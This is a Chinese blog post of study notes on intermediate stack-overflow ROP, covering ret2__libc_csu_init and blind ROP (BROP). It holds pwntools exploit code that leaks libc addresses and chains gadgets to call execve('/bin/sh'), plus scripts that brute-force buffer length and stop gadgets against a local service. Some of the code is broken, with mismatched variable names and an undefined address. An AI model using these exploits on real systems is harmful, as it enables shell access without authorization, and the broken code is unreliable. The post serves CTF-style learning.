我是靠谱客的博主 真实时光,这篇文章主要介绍栈溢出----中级ROP,现在分享给大家,希望可以做个参考。

学习资料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium_rop/

1.ret2__libc_csu_init

这个主要是争对64位的程序的,和32位的栈传参不同的是,在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,最完美的情况,肯定是需要的寄存器可以通过ROPgadgets找到合适的,但是总有找不到的情况,那就需要这个技术了

我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在,可以看一下这个函数,如下

我们可以看到我们可以给rsprbxrdi的低32位

大概就是这么个做法,看个例子

找栈溢出位置

read函数可以轻松溢出

开头还是常规的泄露一波write的地址,更具偏移量来找出exceve函数和/bin/sh字符串的地址,这里还用不上这个技术

接下来把/bin/sh读到bss字段中

最后pwn

exp

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
write_plt=bin.plt['write'] write_got=bin.got['write'] main_addr=0x00000000004005E6 rsi=0x00000000004006b1 rdi=0x00000000004006b3 cn.recvuntil("Input:n") payload1='a'*(0x80+0x08)+p64(rsi)+p64(1)+p64(rdi)+p64(write_got)+p64(8)+p64(write_plt)+p64(main_addr) cn.send(payload1) #leak write write_addr=u64(cn.recv(8)) base_addr=write_addr-write_got execve_addr=libc.symbols['execve']+base_addr binsh_addr=libc.search('/bin/sh').next()+base_addr csu_front_addr=0x0000000000400690 csu_end_addr=0x00000000004006AA read_plt=bin.plt['read'] #bss_addr=bin.bss() bss_addr=0x600A47 cn.recvuntil("Input:n") def csu(rbx, rbp, r12, r13, r14, r15, last): # pop rbx,rbp,r12,r13,r14,r15 # rbx should be 0, # rbp should be 1,enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 payload = 'a' * (0x80+0x08) payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 payload += p64(last) sh.send(payload) sleep(1) csu(0, 1, read_got, 16, bss_base, 0, main_addr) sh.send(p64(execve_addr) + '/bin/shx00') sh.recvuntil('Hello, Worldn') csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr) cn.interactive()

讲一下csu的函数吧,主要就是先给r12之类的通过pop赋值,然后调转给rdirsi赋值,然后跳过pop过程,所以要pading,然后跳回main函数,核心其实就是争对64位的传参规则进行了利用

 

2.BROP

BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流

直接盗取学习资料中的图片

结合例子一点点来吧

大概是这么个例子,但其实我们是没有文件的,需要猜

要泄露地址第一个难点就是要知道我们要覆盖多少栈空间,咋办呢,枚举

从1开始枚举,枚举到程序崩溃为止,exp如下

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def get_buf_length(): i=1 while True: try: cn = remote('127.0.0.1', 9999) cn.recvuntil('WelCome my friend,Do you know password?n') cn.send(i * 'a') output = cn.recv() cn.close() if not output.startswith('No password'): return i - 1 else: i += 1 except EOFError: cn.close() return i - 1

这里我们没有端口,拿本地端口假装一下

接下来我们需要知道我们强行找stop gadgets,做法也差不多,exp如下

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def get_stop_addr(length): addr = 0x400000 while 1: try: sh = remote('127.0.0.1', 9999) sh.recvuntil('password?n') payload = 'a' * 72 + p64(addr) sh.sendline(payload) sh.recv() sh.close() print 'one success addr: 0x%x' % (addr) return addr except Exception: addr += 1 sh.close()

此外,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。所以说,如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表

………………暂时没学会……

最后

以上就是真实时光最近收集整理的关于栈溢出----中级ROP的全部内容,更多相关栈溢出----中级ROP内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(56)

评论列表共有 0 条评论

立即
投稿
返回
顶部